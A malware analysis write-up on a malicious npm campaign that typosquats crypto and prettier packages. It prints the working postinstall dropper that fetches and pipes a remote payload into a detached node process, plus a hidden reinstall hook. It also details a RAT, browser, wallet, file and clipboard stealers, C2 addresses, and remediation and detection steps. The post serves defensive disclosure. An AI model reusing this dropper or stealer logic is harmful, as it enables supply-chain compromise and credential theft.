npm-hunt monitors the npm registry’s live replication feed and flags packages for static analysis before most people know they exist. Every publish gets unpacked, scored against a suite of red flags (obfuscation, exfil patterns, credential harvesting), and if the score clears the threshold, an alert fires with the deobfuscated payload and extracted IOCs. No code ever runs.
crypto-promise-js scored 15.0. Not the highest npm-hunt has logged. High enough to have a look.
The signals were install-script standard: postinstall hook, network import, child process spawn, base64 decode. npm-hunt had already decoded the obfuscated constant and pulled the jsonkeeper.com URL within seconds of publish. The alert fired on v1.0.2, not v1.0.1. The attacker published the initial version, noticed the runtime import was missing, and pushed a fix seven minutes later. That second publish is what triggered the alert. Patience, apparently, was not part of the campaign budget.
The initial read looked routine. Postinstall dropper, second stage, a file stealer and something that looked like a clipboard monitor. Probably a few hours of work to document.
Then I actually read the Stage 3 payload.
Attack overview
COINDEFI2026 — ATTACK CHAIN
═══════════════════════════════════════════════════════════════════════════
INITIAL ACCESS
npm install crypto-promise-js · prettier-sdk · crypto-hash-sdk
↺ crypto-hash-sdk: reinstalls prettier-sdk on every import → re-triggers full chain
│
│ package.json postinstall hook
▼
prepinstall.js [dropper · 410 bytes]
│ base64 decode → hxxps://jsonkeeper[.]com/b/DWNFF
│ axios GET → pipe to node stdin → child.unref()
│ Stage 2 never lands on disk
▼
STAGE 2 [loader · 18kb · in-memory]
│ installs: axios socket.io-client (silent, no-save)
│ GET hxxp://5[.]231[.]107[.]229:80/api/service/16d9a94e...
│ x-uid: 16d9a94e... x-t: 9 User-Agent: node-fetch/1.0
│ wrong headers → connection timeout, not 404
│ writes /tmp/0001.dat → node /tmp/0001.dat
▼
STAGE 3 COMBINED [112kb · /tmp/0001.dat]
│
├── 3A: RAT ────────────────────────────────────────────────────
│ /tmp/scdata [16kb]
│ process: vhost.ctl · mutex: ~/.npm/vhost.ctl
│ vm check: system_profiler / Win32_ComputerSystem / cpuinfo
│ installs: socket.io-client ssh2 node-pty
│ sharp screenshot-desktop @nut-tree-fork/nut-js
│ PTY shell (/bin/bash or powershell.exe)
│ screen capture · mouse + keyboard control
│ clipboard read/write · SSH pivot to other machines
│
│ EXFIL → hxxp://5[.]231[.]107[.]229:6931 (socket.io)
│
├── 3B: BROWSER STEALER ─────────────────────────────────────────
│ /tmp/ldata [11kb]
│ process: npm-cache · userkey: 902
│ Chrome · Brave · Edge · Opera
│ Login Data · Login Data For Account · Web Data
│ 28 wallet extensions (LevelDB — MetaMask, Coinbase + 26)
│ macOS: ~/Library/Keychains/login.keychain-db
│ polls first 8 wallet dirs every 60s
│
│ EXFIL → hxxp://5[.]231[.]107[.]229:6939
│ POST /upload initial browser + wallet sweep
│ POST /cldbs wallet LDB polling (every 60s)
│
├── 3C: FILE STEALER ───────────────────────────────────────────
│ inline spawn · never on disk
│ ~/.ssh ~/.aws ~/.azure ~/.docker ~/.gnupg
│ ~/.claude ~/.cursor ~/.windsurf ~/.gemini ~/.pearai
│ *.pem *.key *.secret *.env* *.json *.yaml *.yml
│ *.pdf *.doc *.csv *.ts *.js *.md *secret phrase*
│ .git/config (credentials embedded in remote URLs)
│ Windows: all drives including network shares
│
│ EXFIL → hxxp://216[.]126[.]224[.]220:5976/upload
│
└── 3D: CLIPBOARD MONITOR ──────────────────────────────────────
inline spawn · never on disk
process: npm-compiler.log
pbpaste (macOS) · Get-Clipboard (Windows) · ~500ms poll
debounced send — complete strings, not partial snapshots
EXFIL → hxxp://5[.]231[.]107[.]229/api/service/makelog
INFRASTRUCTURE
═══════════════════════════════════════════════════════════════════════════
C2 5[.]231[.]107[.]229 (violet-fox-54803[.]zap[.]cloud)
Windows Server 2022 · 7 Express processes · RDP CN: WIN-8319PQA1AJM
┌──────────────────────────────────────────────────────────────────┐
│ :80 payload delivery (header-gated) │
│ :6931 RAT C2 (socket.io) │
│ :6939 browser credential + wallet exfil (/upload /cldbs) │
│ :6109 health check │
│ :6101 purpose not confirmed │
│ :6106 role not confirmed │
│ :6936 role not confirmed │
└──────────────────────────────────────────────────────────────────┘
EXFIL 216[.]126[.]224[.]220
FileZilla FTP · RDP · RDP CN: WINDOWS-UTAH-16
┌──────────────────────────────────────────────────────────────────┐
│ :5976 file stealer upload │
└──────────────────────────────────────────────────────────────────┘
operator retrieves files via FTP/RDP
The packages
Three packages published from the npm account coindefi2026 between May 12 and June 6 2026. All share the campaign identifier 16d9a94e73df0785a3224e97fe8db96a and campaign tag t=9.
| Package | Impersonates | Published | Downloads |
|---|---|---|---|
prettier-sdk |
prettier | 2026-05-12 | 814 |
crypto-hash-sdk |
crypto-hash | 2026-05-15 | 194 |
crypto-promise-js |
crypto-promise | 2026-06-06 | 288 |
Each package.json copies description, author, and repository fields verbatim from the legitimate package. crypto-promise-js lifts the author credit for Valérian Galliat without affiliation. Two things give it away: axios and child-process as runtime dependencies (neither appears in the real package), and a postinstall hook pointing to prepinstall.js.
crypto-hash-sdk takes a different approach with no postinstall hook at all, which makes it cleaner to hide. More on that below.
The dropper
prepinstall.js is 410 bytes (SHA256 e7c772a541f61ef9cd7b77f1d6f2d216faa593b0348cf76f483df6ea873c2335). Its entire job is to fetch and fire a remote payload without touching disk:
const axios = require('axios');
const { spawn } = require('child_process');
const HASH_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0RXTkZG"
const getClsxInterface = (async () => {
const k1 = (await axios.get(atob(HASH_KEY))).data.cache;
const child = spawn('node', [], { detached: true, stdio: ['pipe', 'ignore', 'ignore'] });
child.stdin.write(k1);
child.stdin.end();
child.unref();
})();
HASH_KEY decodes to hxxps://jsonkeeper[.]com/b/DWNFF. The response JSON’s .data.cache field contains the Stage 2 payload, which gets written to a detached child Node process via stdin (never lands on disk), and unref() cuts the parent/child relationship so the process survives npm install exiting. The terminal shows no output and returns cleanly.
The prettier-sdk dropper (plugins/preinstall.js, SHA256 d07edb9add33cea5b33a5f846577ddaffce002871809a102e91c1b5acd93d44f) is structurally identical, using .data.cookie instead of .data.cache and a different jsonkeeper key (/b/36KEM). Both use the same function name getClsxInterface, so shared codebase seems likely.
crypto-promise-js@1.0.2 shipped exactly seven minutes after the initial publish with one change:
// index.js (v1.0.2) — appended after the legitimate exports
(function() {
const a = import("./prepinstall.js");
})();
The postinstall hook fires once at install time. This dynamic import() fires every time any application require()s the package at runtime. Someone tested v1.0.1, noticed the runtime trigger was missing, and pushed the fix. Seven minutes.
crypto-hash-sdk takes the subtler route. No postinstall hook, so it passes a casual package.json audit. The malicious code is buried in the Worker thread initialization block in index.js (SHA256 25fd2657458826ba32009f8724d81609eefe4fb75aab7b6bb2a2da1232d7bd2c), right alongside legitimate hash exports:
(function () {
try {
execSync("npm uninstall prettier-sdk && npm install prettier-sdk", {
stdio: "ignore",
windowsHide: true,
});
} catch (error) { }
})();
Every time crypto-hash-sdk is imported, it silently reinstalls prettier-sdk, which carries the postinstall hook, which triggers the full chain again. Any project with crypto-hash-sdk as a transitive dependency will keep re-infecting even if prettier-sdk is manually removed.
The loader chain
Stage 2 (stage2_jsonkeeper_18kb.js, 18,831 bytes, SHA256 b47aa55bd0917f0600df10969449ed0d9bdda91d215b02d1928b01b3056280ee) uses a 241-entry RC4+base64 string array. The decoder function actively uses both parameters: an index into the shuffled array and a per-call RC4 key, with the base64 alphabet embedded inline. You can’t recover the plaintext through static analysis alone. It requires the RC4 decoder to run. The patterns are consistent with obfuscator.io string array mode with RC4 encoding enabled, based on the !![] IIFE shuffler idiom, the lazy-init check b['IGUmWT']===undefined, and the self-rewriting array function.
Stage 3a (scdata) uses the same template with RC4 disabled. The decoder’s second parameter is present but unused, the string array entries are rotated rather than encrypted, and there’s no RC4 or base64 code in the decoder body.
Dropping Stage 2 into a vm.createContext() sandbox with require, fs, process, and network stubs intercepting everything produced this:
[process.on] uncaughtException ← silences errors before doing anything else
[process.on] unhandledRejection
[execSync] npm install axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent
[HTTP GET] hxxp://5[.]231[.]107[.]229/api/service/16d9a94e73df0785a3224e97fe8db96a
[writeSync] /tmp/0001.dat ← C2 response written to disk
[execSync] node 0001.dat ← executed immediately
The C2 serves a 112,885-byte combined Stage 3 payload, gated behind x-uid: 16d9a94e73df0785a3224e97fe8db96a, x-t: 9, and User-Agent: node-fetch/1.0. Requests without those headers receive a connection timeout rather than a 404 — the endpoint appears dead to automated URL scanners.
The Stage 3 combined payload (stage3_combined_112kb.js, SHA256 28ba6376e269f21f54e08f69aff414624aa3324758de9e42750f79b6bf14fbdd) kicks off four things before returning:
[writeFileSync] /tmp/scdata Stage 3a: RAT (16,915 bytes)
[exec] node scdata → socket.io session → 5[.]231[.]107[.]229:6931
[writeFileSync] /tmp/ldata Stage 3b: browser credential stealer (11,468 bytes)
[exec] node ldata → exfil → 5[.]231[.]107[.]229:6939
[spawn] node -e <stage3c> Stage 3c: file stealer, detached → 216[.]126[.]224[.]220:5976
[spawn] node -e <stage3d> Stage 3d: clipboard monitor, detached → /api/service/makelog
Stage 3c and 3d are spawned inline. They never touch disk.
npm install
└─ postinstall hook
└─ prepinstall.js [dropper, 410 bytes]
└─ node stdin pipe [Stage 2, 18kb, never on disk]
└─ node /tmp/0001.dat [Stage 3 combined, 112kb]
├─ node /tmp/scdata [3a: RAT]
├─ node /tmp/ldata [3b: browser stealer]
├─ node -e <inline> [3c: file stealer, no disk]
└─ node -e <inline> [3d: clipboard monitor]
Stage 3a: the RAT
scdata (SHA256 8dba9c2814d9274e2294c2600308b4f049f9fa91dbefbc79a4536d242383cf77) is a remote access trojan. I confirmed the process title by running the file in a sandbox with process.title intercepted: it sets process.title = "vhost.ctl", then writes its PID to ~/.npm/vhost.ctl as a mutex. If that file exists and the recorded PID is running, the process exits to avoid duplicates. The disguise is vhost.ctl, the kind of thing that could plausibly be an nginx socket if you’re not paying attention. If you see it in ps aux, pay attention.
On first run it installs its full dependency set silently:
npm install -g socket.io-client ssh2 node-pty@1.0.0
npm install sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js # macOS only
It then connects to hxxp://5[.]231[.]107[.]229:6931 via socket.io and reports system info to /api/service/process/16d9a94e73df0785a3224e97fe8db96a. The port was confirmed by intercepting the socket.io-client call in the sandbox: the URL constructed at runtime is hxxp://5[.]231[.]107[.]229:6931. Before it does, it checks whether it’s running in a VM. On macOS it runs system_profiler SPHardwareDataType and matches against vmware, qemu, virtualbox, microsoft corporation. On Windows it runs Get-CimInstance Win32_ComputerSystem and matches /vmware|virtualbox|qemu|parallels|virtual/i. The generic virtual substring makes this broader than the macOS check. On Linux it reads /proc/cpuinfo and matches /hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.
If a VM is detected, the OS release string sent to the C2 gets (VM) appended instead of (Local). What the operator does differently with VM-flagged victims isn’t clear. The sandbox exited on the mutex check before those branches ran.
Once the RAT connects, the operator gets this:
| Event | Direction | What it does |
|---|---|---|
start-terminal |
C2 → victim | Spawn a PTY shell (/bin/bash or powershell.exe) via node-pty |
terminal-input / terminal-output |
bidirectional | Keystrokes in, shell output out |
terminal-resize |
C2 → victim | Resize the PTY (cols × rows) |
command |
C2 → victim | exec() a shell command, result returned via socket |
capture |
C2 → victim | Full-screen JPEG screenshot via screenshot-desktop + sharp |
mouseMove |
C2 → victim | Move cursor to {x, y} relative to screen dimensions |
mouseClick |
C2 → victim | Left, right, or middle click via @nut-tree-fork/nut-js |
mouseScroll |
C2 → victim | Scroll up or down |
pressKey / keyCombo |
C2 → victim | Keystroke or key combination (e.g. Ctrl+C) |
pasteText |
C2 → victim | Type arbitrary text via clipboard injection |
copyClipboard |
C2 → victim | Read current clipboard contents |
start_ssh |
C2 → victim | SSH to {host, port, username, password/pem_path} via ssh2 |
ssh_input / ssh_output |
bidirectional | Relay an SSH session |
whoIm |
C2 → victim | Re-send system info |
That’s a live remote desktop over a plain outbound HTTP socket.io connection: see the screen, move the mouse, type, run commands, SSH into other machines the victim has keys for. Nothing about it looks unusual at the firewall. All events are from the plaintext string array in stage3a_rat_scdata_16kb.js; I didn’t exercise the live session in the sandbox.
Stage 3b: browser stealer
I called ldata a clipboard monitor for a while. The filename and the context seemed right. The source code in stage3b_clipboard_ldata_11kb.js disagreed. It’s a browser credential and crypto wallet stealer. The actual clipboard monitor is Stage 3d, about a third the size.
ldata (SHA256 bfe0a73068b00ea4f7b28c7c35a7f15777ce0248052f58439b19d467c77fab4d) sets process.title = "npm-cache" and exfiltrates to 5[.]231[.]107[.]229:6939, the C2 server rather than the separate exfil machine. It uses userkey: 902 instead of the campaign UID everything else uses, which might indicate a separate victim bucket on the operator’s end.
It targets Chrome, Brave, Edge, and Opera with hardcoded profile paths for all three platforms. For each profile it finds, it uploads Login Data (saved passwords), Login Data For Account, and Web Data (autofill, credit cards). On macOS it also grabs ~/Library/Keychains/login.keychain-db before the browser sweep even starts.
Then there are the crypto wallets. It carries a hardcoded list of 28 browser extension IDs and copies each extension’s entire Local Extension Settings/<id> directory (the LevelDB storage where the wallet keeps keys, encrypted seed phrases, and transaction history). MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) and Coinbase Wallet (bfnaelmomeimhlpmgjnjophhpkkoljpa) are on the list. The full set from stage3b_clipboard_ldata_11kb.js:
acmacodkjbdgmoleebolmdjonilkdbch nkbihfbeogaeaoehlefnkodbefgpgknn
bfnaelmomeimhlpmgjnjophhpkkoljpa dmkamcknogkgcdfhhbddcghachkejeap
ejbalbakoplchlghecdalmeeeajnimhm ppbibelpcjmhbdihakflkdcoccbgbkpo
egjidjbpglichdcondbcbdnbeeppgdph ibnejdfjmmkpcnlpebklmnkoeoihofec
bhhhlbepdkbapadjdnnojkbgioiodbic omaabbefbmiijedngplfjmnooppbclkk
khpkpbbcccdmmclmpigdgddabeilkdpd fhbohimaelbohpjbbldcngcnapndodjp
opcgpfmipidbgpenhmajoajpbobppdil aeachknmefphepccionboohckonoeemg
hifafgmccdpekplomjjkcfgodnhcellj hnfanknocfeofbddgcijnmhnfnkdnaad
cadiboklkpojfamcoggejbbdjcoiljjk jblndlipeogpafnldhgmapagcccfchpi
dlcobpjiigpikoobohmabehhmhfoodbb mcohilncbfahbmgdjkbpemcciiolgcge
agoakfejjabomempkjlepdflaleeobhb aholpfdialjgjfhomihkjbmgjidlcdno
nphplpgoakhhjchkkhmiggakijnkhfnd penjlddjkjgpnkllboccdgccekpkcbin
lgmpcpglpngdoalbgeoldeajfclnhafa fldfpgipfncgndfolcbkdeeknbbbnhcc
gjnckgkfmgmibbkoficdidcljeaaaheg afbcbjpbpfadlkmhmclhkeeodmamcflc
To check whether any of your installed Chrome extensions are on that list: ls ~/Library/Application\ Support/Google/Chrome/Default/Local\ Extension\ Settings/ on macOS, or %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\ on Windows.
After the initial sweep, it checks the first eight extension IDs in that list every 60 seconds, re-uploading any changed LDB files to /cldbs. Whether a changed LDB file exposes seed phrases or private keys depends on how each wallet implements its storage, but the attacker is clearly interested in state changes over time, not just the initial snapshot.
POST hxxp://5[.]231[.]107[.]229:6939/upload ← browser files and extension storage
POST hxxp://5[.]231[.]107[.]229:6939/cldbs ← wallet LDB polling every 60s
Stage 3c: file stealer
stage3c_filestealer_spawn4_9kb.js (SHA256 3b624ad6bd503e7e28fe3be16cf64e1136ba4b54fc0f3dd468c02076defc4424) is spawned inline and never touches disk. It walks the home directory and uploads matches to 216[.]126[.]224[.]220:5976/upload with userkey: 16d9a94e73df0785a3224e97fe8db96a.
These directories get scanned regardless of what’s in them:
~/.ssh ~/.aws ~/.gnupg ~/.docker ~/.azure
~/.claude ~/.cursor ~/.windsurf ~/.gemini ~/.pearai
~/.foundry ~/.brownie ~/.cargo ~/.nvm ~/.pm2
~/.conda ~/.vscode ~/.vscode-server ~/.3T
The last five in the first line are AI coding assistant config directories: .claude, .cursor, .windsurf, .gemini, .pearai. These store API keys and auth tokens that could be used directly or sold.
Outside those directories, it matches 28 file patterns: *.pem, *.key, *.secret, *.env*, *.pdf, *.doc, *.docx, *.xlsx, *.xls, *.csv, *.txt, *.rtf, *.odt, *.json, *.ts, *.js, *.md, *.ini, *.yaml, *.yml, *bitcoin*, *btc*, *solana*, *metamask*, *.sol, *.move, *secret phrase*, *private key*.
Any .git directory gets its config file uploaded immediately without recursing. Git configs often embed credentials in remote URLs (https://user:token@github.com/...) and this is a fast, targeted way to get them.
On Windows (from static string analysis of the sample; the Windows path wasn’t executed in the sandbox), it runs Get-CimInstance Win32_LogicalDisk | Select-Object -ExpandProperty DeviceID to enumerate drives including network shares and external storage, then scans each one.
Stage 3d: clipboard monitor
stage3d_clipboard_spawn5_3kb.js (SHA256 1663406348fc9dabfd018bc0b95ed426a6caf7de14c3bad8481e37d4a5b84b1f) is the one that actually matches the clipboard monitor description. 2,956 bytes, spawned inline, process title npm-compiler.log. It polls every ~500 ms:
// macOS
execSync("pbpaste", { encoding: 'utf8' })
// Windows
execSync("powershell -NoProfile -NonInteractive Get-Clipboard", { encoding: 'utf8', windowsHide: true })
The send is debounced so a seed phrase pasted in one go arrives as a single complete string at the C2 rather than a stream of partial clipboard snapshots. The POST /api/service/makelog endpoint handles clipboard data.
Infrastructure
The C2 (5[.]231[.]107[.]229, hostname violet-fox-54803[.]zap[.]cloud) was provisioned on or around June 6 2026, the same day crypto-promise-js launched. Windows Server 2022, seven concurrent Express processes. After working through the Stage 3 samples, all seven ports are now accounted for:
| Port | Role |
|---|---|
| 80/tcp | Payload delivery (header-gated) |
| 6931/tcp | Socket.io RAT interactive C2 |
| 6939/tcp | Browser credential + wallet exfil (/upload, /cldbs) |
| 6109/tcp | Health check |
| 6101/tcp | POST absent from CORS headers (unique among all seven ports); purpose not confirmed |
| 6106/tcp | Role not confirmed |
| 6936/tcp | Role not confirmed |
The exfil server 216[.]126[.]224[.]220 is older: FTP cert from January 2026, 15 VirusTotal vendors flagging it as malicious before this campaign started. Both machines run FileZilla FTP and expose RDP. The operator retrieves files via FTP and manages the VPS via RDP.
The exfil server RDP cert has CN WINDOWS-UTAH-16 (SHA256 ce5367b90aad0f7fec898f352be6c9c5945fed1363ab7ae3a469ee1a914046b3, JA3S 66e33336e3e99f75410126f42d44cc81). The C2 cert has CN WIN-8319PQA1AJM, valid 2026-06-05 through 2026-12-05.
The campaign headers include t=9. Nobody knows what happened to t=1 through t=8.
If you installed these
If you ran npm install on any of these three packages, here’s what to do.
Kill the running processes first:
pkill -f vhost.ctl # RAT
pkill -f npm-compiler.log # clipboard monitor
pkill -f npm-cache # browser stealer
Verify on macOS with ps aux | grep -E 'vhost.ctl|npm-compiler|npm-cache'. Block 5[.]231[.]107[.]229 and 216[.]126[.]224[.]220 at the firewall before they die so any in-flight data doesn’t get through. Then clean up the mutex file:
rm -f ~/.npm/vhost.ctl
npm uninstall crypto-promise-js prettier-sdk crypto-hash-sdk
Now the harder part. The file exfiltration already happened. Everything under ~/.ssh, ~/.aws, ~/.azure, ~/.docker, ~/.gnupg, any .env file, any API token on disk: treat it as compromised and rotate it. Your shell history went too, so if you’ve ever run a command with a token inline (export AWS_SECRET_ACCESS_KEY=..., curl -H "Authorization: Bearer ...") those are known.
The browser passwords are gone. Chrome, Brave, Edge, Opera. The Login Data SQLite file was uploaded. Every password stored in any of those browsers should be rotated. This is annoying but there’s no shortcut.
If you have any wallet extension from the list above installed, assume the seed phrase is compromised. Move funds to a new wallet generated on a clean machine. Do this now, not after you finish reading.
On macOS, ~/Library/Keychains/login.keychain-db was also uploaded, which has saved Wi-Fi passwords and application credentials. Review what’s in there and rotate what you can.
Check git remotes across your projects (git remote -v) for credentials embedded in URLs. And if crypto-hash-sdk is anywhere in your dependency tree, npm install in that project will reinstall prettier-sdk and re-run the whole chain until you remove it.
Detection
At install time, the dropper pattern has a few signatures. A postinstall hook in a package claiming to be a thin crypto utility is the first flag. axios and child-process as runtime dependencies when the legitimate package has neither. A base64 constant decoded with atob() at runtime. And the specific pattern of spawn('node', [], { detached: true, stdio: ['pipe', 'ignore', 'ignore'] }) immediately followed by child.stdin.write() and child.unref(): the detach-and-pipe handoff, which leaves no running child process.
On the network side: a persistent outbound socket.io long-poll to 5[.]231[.]107[.]229:6931 (non-HTTPS) is the RAT maintaining its session. Multipart POSTs to :6939/upload with userkey: 902 are browser credentials. POSTs to :6939/cldbs with a JSON body containing path and timestamp are the wallet polling loop. Multipart POSTs to 216[.]126[.]224[.]220:5976/upload with userkey: 16d9a94e73df0785a3224e97fe8db96a are the file stealer working through your home directory. POSTs to /api/service/makelog with uid and message fields are clipboard data.
On the host: a node process with title vhost.ctl is the RAT. A node process reading ~/Library/Keychains/login.keychain-db is the browser stealer. Node copying files from ~/Library/Application Support/Google/Chrome to /tmp/__tmp__ is the same. Repeated pbpaste calls from a background process with no terminal is the clipboard monitor. ~/.npm/vhost.ctl on disk when nothing legitimate wrote it means the RAT ran at some point, even if it’s no longer running.
Open questions
The prettier-sdk Stage 3 payload wasn’t captured. That campaign ran May 12 to June 5 with 814 downloads. The dropper and package files are in the samples, but the Stage 3 payload it served during that window would have required fetching hxxps://jsonkeeper[.]com/b/36KEM while the campaign was still active. Whether those 814 installs got the same four-component Stage 3 or something earlier isn’t known.
Windows execution paths are inferred from static string analysis. Stage 3c’s drive enumeration and Stage 3d’s Get-Clipboard call are in the string arrays, but the Windows code branches weren’t executed in the sandbox. The macOS paths (pbpaste, system_profiler) were confirmed live.
The VM detection flag (the (VM) suffix sent to the C2 on connect) was confirmed. What the operator does differently for VM-flagged victims wasn’t reachable. The payload branches for that path exit before the sandbox gets there.
Ports 6106 and 6936 on the C2 weren’t mapped from the Stage 3 samples. Whether they’re for earlier campaign iterations, additional tooling, or just unused Express instances isn’t clear.
The t=9 tag implies eight earlier campaigns with their own UIDs and probably different npm packages. Those weren’t found.